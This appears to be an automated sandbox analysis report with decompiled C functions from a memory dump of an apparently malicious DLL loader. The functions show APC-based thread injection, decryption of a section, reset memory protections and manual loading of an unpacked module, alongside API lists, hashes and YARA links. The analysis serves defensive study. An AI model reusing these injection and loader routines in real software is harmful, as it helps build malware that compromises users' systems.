Opcode Fuzzy Hash: 886e2560f807128cbd2aaf6b1f955fe16c19356303de4b0c9dbd375f0df64c7c
Instruction Fuzzy Hash: E321E8B560161BDFEB10FF69CC80E6A77F8EF0B684B024525F959C7211E735E9018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31E04, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6dd34188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6dd3418c;
						if( *0x6dd3418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6dd34198;
								if( *0x6dd34198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6dd3418c);
						}
						HeapDestroy( *0x6dd34190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6dd34188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x6dd34190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6dd341b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6DD31CA4(E6DD31D32, E6DD31EE0(_a12, 1, 0x6dd34198, _t41));
							 *0x6dd3418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6dd31e07
0x6dd31e13
0x6dd31e15
0x6dd31e18
0x6dd31e8e
0x6dd31e94
0x6dd31e96
0x6dd31e98
0x6dd31e9e
0x6dd31ea0
0x6dd31ea5
0x6dd31ea8
0x6dd31eb3
0x6dd31eb5
0x00000000
0x00000000
0x6dd31eb7
0x6dd31eba
0x6dd31ebc
0x00000000
0x00000000
0x00000000
0x6dd31ebc
0x6dd31ec4
0x6dd31ec4
0x6dd31ed0
0x6dd31ed0
0x6dd31e1a
0x6dd31e1b
0x6dd31e3b
0x6dd31e41
0x6dd31e43
0x6dd31e48
0x6dd31e84
0x6dd31e84
0x6dd31e4a
0x6dd31e52
0x6dd31e59
0x6dd31e63
0x6dd31e6f
0x6dd31e76
0x6dd31e7b
0x6dd31e80
0x00000000
0x6dd31e80
0x6dd31e7b
0x6dd31e48
0x6dd31e1b
0x6dd31edd

APIs

InterlockedIncrement.KERNEL32(6DD34188), ref: 6DD31E26
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6DD31E3B

Part of subcall function 6DD31CA4: CreateThread.KERNELBASE ref: 6DD31CBB
Part of subcall function 6DD31CA4: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6DD31CD0
Part of subcall function 6DD31CA4: GetLastError.KERNEL32(00000000), ref: 6DD31CDB
Part of subcall function 6DD31CA4: TerminateThread.KERNEL32(00000000,00000000), ref: 6DD31CE5
Part of subcall function 6DD31CA4: CloseHandle.KERNEL32(00000000), ref: 6DD31CEC
Part of subcall function 6DD31CA4: SetLastError.KERNEL32(00000000), ref: 6DD31CF5

InterlockedDecrement.KERNEL32(6DD34188), ref: 6DD31E8E
SleepEx.KERNEL32(00000064,00000001), ref: 6DD31EA8
CloseHandle.KERNEL32 ref: 6DD31EC4
HeapDestroy.KERNEL32 ref: 6DD31ED0

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 7bb10cc360bb6af11ecb95843acb28cc2762df5581a6136423ac8c7ed1d098de
Instruction ID: a500daba2d2830dfcaee4cdaf5a9c9c86ca023dce7a31ccf7c4dbf45843e92d4
Opcode Fuzzy Hash: 7bb10cc360bb6af11ecb95843acb28cc2762df5581a6136423ac8c7ed1d098de
Instruction Fuzzy Hash: BF21A135A00617EFEB20BFE9CD84B6A7BB8FB5B3617130029F515E2140E73A89008B60

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31CA4, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD31CA4(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6dd341cc, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6dd31cbb
0x6dd31cc1
0x6dd31cc5
0x6dd31cd0
0x6dd31cd8
0x6dd31ce1
0x6dd31ce5
0x6dd31cec
0x6dd31cf3
0x6dd31cf5
0x6dd31cfb
0x6dd31cd8
0x6dd31cff

APIs

CreateThread.KERNELBASE ref: 6DD31CBB
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6DD31CD0
GetLastError.KERNEL32(00000000), ref: 6DD31CDB
TerminateThread.KERNEL32(00000000,00000000), ref: 6DD31CE5
CloseHandle.KERNEL32(00000000), ref: 6DD31CEC
SetLastError.KERNEL32(00000000), ref: 6DD31CF5

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: ac5dc09622d75a452effba72dab387ca6e422529d0d3a89c2eb86b99fba98948
Instruction ID: 8e4a4023ea041b5a1e5fb367603ba76610b95bc303398c8fae7d8bd2468d0e63
Opcode Fuzzy Hash: ac5dc09622d75a452effba72dab387ca6e422529d0d3a89c2eb86b99fba98948
Instruction Fuzzy Hash: EBF01C3A685622BBFB327FA48E4CF5BBF79FB0B752F024404FA0991151C72588119BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6DD315A3, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DD315A3(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x6dd341b0;
				_t39 = E6DD31A4B(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x6dd341cc;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x6dd35137; // 0x6dd35137
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E6DD31D02(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x6dd341cc = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x6dd315aa
0x6dd315ba
0x6dd315c1
0x6dd315c4
0x6dd315d9
0x6dd315e0
0x6dd315e5
0x6dd315f6
0x6dd315f9
0x6dd31601
0x6dd31604
0x6dd316ae
0x6dd3160a
0x6dd3160a
0x6dd3160e
0x6dd31676
0x6dd31610
0x6dd31610
0x6dd31613
0x6dd31615
0x6dd3161d
0x6dd31620
0x6dd31623
0x6dd3162b
0x6dd31633
0x6dd31634
0x6dd31635
0x6dd3163c
0x6dd3163c
0x6dd31650
0x6dd31655
0x6dd3165e
0x6dd31665
0x6dd31668
0x6dd3166c
0x6dd31671
0x00000000
0x00000000
0x6dd31628
0x6dd31628
0x6dd31673
0x6dd31680
0x6dd31695
0x6dd31682
0x6dd3168b
0x6dd31690
0x6dd316a6
0x6dd316a6
0x6dd316b5
0x6dd316bb

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6DD315F9
memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6DD317EC), ref: 6DD3168B
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6DD316A6

Strings

Mar 26 2021, xrefs: 6DD3162B

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 26 2021
API String ID: 4010158826-2175073649
Opcode ID: f8f7cf18cfcf783169dc7cece34b46ef20894397fa5dd5bdd5df179e82ce2f90
Instruction ID: b54645aaffc54447473ed5926d4265dae48c6b9211282db4ecaf4f4c688d5a08
Opcode Fuzzy Hash: f8f7cf18cfcf783169dc7cece34b46ef20894397fa5dd5bdd5df179e82ce2f90
Instruction Fuzzy Hash: 48319275E0021AEFDF00EF99C980BEEB7B5FF4A304F158128E504A7241D771AA168F90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31D32, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DD31D32(void* __ecx, intOrPtr _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6DD317A7(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6dd31d3b
0x6dd31d40
0x6dd31d4e
0x6dd31d53
0x6dd31d53
0x6dd31d59
0x6dd31d5e
0x6dd31d62
0x6dd31d66
0x6dd31d66
0x6dd31d70
0x6dd31d79

APIs

GetCurrentThread.KERNEL32 ref: 6DD31D35
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6DD31D40
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6DD31D53
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6DD31D66

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: d27456497813b3c18726bc04c6fbab5404214f21a9cd41b395488c79d41c6375
Instruction ID: 92dbcc50f4755760c27dcb2c2e82e1cedc7fe87404fa6effc951f727714ae92d
Opcode Fuzzy Hash: d27456497813b3c18726bc04c6fbab5404214f21a9cd41b395488c79d41c6375
Instruction Fuzzy Hash: D4E06D353497226BA7123B294C88EAB6B6CDF932327030225F624922D0DB95880985A5

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31030, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DD31030(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x6dd341cc;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x6dd3103a
0x6dd31047
0x6dd3104d
0x6dd31059
0x6dd31069
0x6dd3106b
0x6dd31073
0x6dd31108
0x6dd3110f
0x00000000
0x00000000
0x00000000
0x6dd31079
0x6dd31079
0x6dd31079
0x6dd3107d
0x00000000
0x00000000
0x6dd31089
0x6dd3108d
0x6dd310b1
0x6dd310b5
0x6dd310c9
0x6dd310c9
0x6dd310cf
0x6dd310de
0x6dd310e2
0x6dd310ea
0x6dd310ea
0x6dd310f2
0x6dd310f5
0x6dd31102
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd31102
0x6dd310bd
0x6dd310c1
0x6dd310c7
0x00000000
0x00000000
0x00000000
0x6dd310c7
0x6dd31095
0x6dd31099
0x6dd310a3
0x6dd3109b
0x6dd3109b
0x6dd3109b
0x00000000
0x6dd31099
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6DD31069
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6DD310DE
GetLastError.KERNEL32 ref: 6DD310E4

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 0f494a08c2d0562b5711af98d361630ea9ed376b3ab57c4412489d3b6a47d3a0
Instruction ID: 13e96837c5e5e10fff3f761c9fd6bed9624bf5908396887f0501d7299a4bf982
Opcode Fuzzy Hash: 0f494a08c2d0562b5711af98d361630ea9ed376b3ab57c4412489d3b6a47d3a0
Instruction Fuzzy Hash: 8F218071800217DFCB14EF95C981AAAF7F9FF09319F018859E00297485E3B8A698CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6DD316EC, Relevance: 4.6, APIs: 3, Instructions: 60
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6DD316EC() {
				char _v28;
				void _v44;
				char _v48;
				void* _v52;
				long _t23;
				int _t24;
				void* _t28;
				intOrPtr* _t30;
				signed int _t34;
				intOrPtr _t36;

				_push(0);
				_push(0x6dd341c4);
				_push(1);
				_push( *0x6dd341d0 + 0x6dd35089);
				 *0x6dd341c0 = 0xc;
				 *0x6dd341c8 = 0; // executed
				L6DD314D8(); // executed
				_t34 = 6;
				memset( &_v44, 0, _t34 << 2);
				if(E6DD31112( &_v44,  &_v28,  *0x6dd341cc ^ 0xfd7cd1cf) == 0) {
					_t23 = 0xb;
					L7:
					ExitThread(_t23);
				}
				_t24 = lstrlenW( *0x6dd341b8);
				_t7 = _t24 + 2; // 0x2
				_t10 = _t24 + _t7 + 8; // 0xa
				_t28 = E6DD31979(_t36, _t10,  &_v48,  &_v52); // executed
				if(_t28 == 0) {
					_t30 = _v52;
					 *_t30 = 0;
					if( *0x6dd341b8 == 0) {
						 *((short*)(_t30 + 4)) = 0;
					} else {
						E6DD32112(_t40, _t30 + 4);
					}
				}
				_t23 = E6DD31236(_v44); // executed
				goto L7;
			}

0x6dd316fe
0x6dd316ff
0x6dd31704
0x6dd3170c
0x6dd3170d
0x6dd31717
0x6dd3171d
0x6dd31726
0x6dd3172b
0x6dd31749
0x6dd3179e
0x6dd3179f
0x6dd317a0
0x6dd317a0
0x6dd31751
0x6dd31757
0x6dd31765
0x6dd31769
0x6dd31770
0x6dd31778
0x6dd3177c
0x6dd3177e
0x6dd3178d
0x6dd31780
0x6dd31786
0x6dd31786
0x6dd3177e
0x6dd31795
0x00000000

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(?,00000001,6DD341C4,00000000), ref: 6DD3171D
lstrlenW.KERNEL32(?,?,?), ref: 6DD31751

Part of subcall function 6DD31979: GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?,?), ref: 6DD31986
Part of subcall function 6DD31979: _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6DD3199C
Part of subcall function 6DD31979: _snwprintf.NTDLL ref: 6DD319C1
Part of subcall function 6DD31979: CreateFileMappingW.KERNELBASE(000000FF,6DD341C0,00000004,00000000,?,?), ref: 6DD319E6
Part of subcall function 6DD31979: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?), ref: 6DD319FD
Part of subcall function 6DD31979: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A), ref: 6DD31A32

ExitThread.KERNEL32 ref: 6DD317A0

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorFileSecurityTime$CloseConvertCreateErrorExitHandleLastMappingStringSystemThread_aulldiv_snwprintflstrlen
String ID:
API String ID: 4209869662-0
Opcode ID: d637f52878b62050f01ad411438119d66179affed83e3ecf4839a62504b5fb7a
Instruction ID: 3d5955aed3e0aaa91186c810dfe312fc0a1220476d0a94ed136e683d99f6acaa
Opcode Fuzzy Hash: d637f52878b62050f01ad411438119d66179affed83e3ecf4839a62504b5fb7a
Instruction Fuzzy Hash: AA1179B6108212AAEB21FF64C944EAB7BFCBB5B714F030916F254D7150DB75E5088BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31C12, Relevance: 2.5, APIs: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6DD31C12(void* __ecx) {
				void* _v8;
				char _v12;
				signed short _t15;
				char* _t18;
				char* _t25;
				char* _t29;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t25 = 0;
				if(E6DD31112( &_v8,  &_v12,  *0x6dd341cc ^ 0x196db149) != 0) {
					if(_v8 == 0) {
						_t29 = 0;
					} else {
						_t29 = E6DD31BCB(_t22, _v8,  *0x6dd341cc ^ 0x6e49bbff);
					}
					if(_t29 != 0) {
						_t15 = E6DD31566(_t22); // executed
						_v12 = _t15 & 0x0000ffff;
						_t18 = StrStrIA(_t29,  &_v12); // executed
						if(_t18 != 0) {
							_t25 = 0x657;
						}
					}
					HeapFree( *0x6dd34190, 0, _v8);
				}
				return _t25;
			}

0x6dd31c12
0x6dd31c15
0x6dd31c16
0x6dd31c2c
0x6dd31c35
0x6dd31c3a
0x6dd31c53
0x6dd31c3c
0x6dd31c4f
0x6dd31c4f
0x6dd31c57
0x6dd31c59
0x6dd31c61
0x6dd31c69
0x6dd31c71
0x6dd31c73
0x6dd31c73
0x6dd31c71
0x6dd31c83
0x6dd31c83
0x6dd31c8e

APIs

StrStrIA.KERNELBASE(00000000,6DD31810,?,6DD31810,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD31C69
HeapFree.KERNEL32(00000000,?,?,6DD31810,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD31C83

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f157749611578996135d43eefbc1594543963871287a8f879c8d6fe0ce2cdbed
Instruction ID: 841b9ddab7f790f029313e15c399356070573517737b396ee75fcef7c24707e6
Opcode Fuzzy Hash: f157749611578996135d43eefbc1594543963871287a8f879c8d6fe0ce2cdbed
Instruction Fuzzy Hash: A7018476904526EBDB11AFA9CD40EAFB7BDAB8B640F130161F601E3100D731DA0097B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD62C29, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,6DE7DC5C), ref: 6DD62C44

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: be8e9b0dc4229239b672e098db032ca29002652ddb6ae8c18aa00849592b0f66
Instruction ID: 78b2c65222e54830ebd3fe059a4efcf01af994f8ee01e47e0064f6a79a43e566
Opcode Fuzzy Hash: be8e9b0dc4229239b672e098db032ca29002652ddb6ae8c18aa00849592b0f66
Instruction Fuzzy Hash: 81F0E53614C2E06FEF066F784864AA03FBC9717111B1434C6F5AC86293C314A44DEF69

Uniqueness

Uniqueness Score: -1.00%

Function 6DD68501, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,6DD639BC,?), ref: 6DD68516

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: ce6849403c686b2cbd23fffc8502cbf7d3221fc6137d5c408e9a187393855e25
Instruction ID: 31f6d2503c3fc9e034b2e24bed0ae1b583f11f5f230bc4e0fb542f8d075f310a
Opcode Fuzzy Hash: ce6849403c686b2cbd23fffc8502cbf7d3221fc6137d5c408e9a187393855e25
Instruction Fuzzy Hash: 4ED05E7A5983869AEB00EEB15808B663BFCE387395F008436F80CC6180FB74D540CA40

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31236, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6DD31236(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x6dd341cc;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6dd341cc - 0x63698bc4 &  !( *0x6dd341cc - 0x63698bc4);
				_t18 = E6DD31AA5( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6dd341cc - 0x63698bc4 &  !( *0x6dd341cc - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6dd341cc - 0x63698bc4 &  !( *0x6dd341cc - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E6DD314DE(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E6DD31F31(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E6DD31030(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E6DD3136A(_t42);
					L8:
					return _t29;
				}
			}

0x6dd3123e
0x6dd31240
0x6dd3125c
0x6dd3126d
0x6dd31274
0x6dd312d2
0x00000000
0x6dd31276
0x6dd31276
0x6dd31280
0x6dd31284
0x6dd31289
0x6dd3128c
0x6dd31291
0x6dd31295
0x6dd3129a
0x6dd3129f
0x6dd312a3
0x6dd312a8
0x6dd312a9
0x6dd312ad
0x6dd312b2
0x6dd312ba
0x6dd312ba
0x6dd312b2
0x6dd312a3
0x6dd31295
0x6dd312bc
0x6dd312c5
0x6dd312c9
0x6dd312d3
0x6dd312d9
0x6dd312d9

APIs

Part of subcall function 6DD31AA5: GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6DD31272,?,?,?,?,00000002,00000000,?,?), ref: 6DD31AC9
Part of subcall function 6DD31AA5: GetProcAddress.KERNEL32(00000000,?), ref: 6DD31AEB
Part of subcall function 6DD31AA5: GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B01
Part of subcall function 6DD31AA5: GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B17
Part of subcall function 6DD31AA5: GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B2D
Part of subcall function 6DD31AA5: GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B43

Part of subcall function 6DD314DE: memcpy.NTDLL(00000000,00000002,6DD31280,?,?,?,?,?,6DD31280,?,?,?,?,?,?,00000002), ref: 6DD3150B
Part of subcall function 6DD314DE: memcpy.NTDLL(00000000,00000002,?,00000002,00000000,?,?), ref: 6DD3153E

Part of subcall function 6DD31F31: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6DD31F69

Part of subcall function 6DD31030: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6DD31069
Part of subcall function 6DD31030: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6DD310DE
Part of subcall function 6DD31030: GetLastError.KERNEL32 ref: 6DD310E4

GetLastError.KERNEL32(?,?), ref: 6DD312B4

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
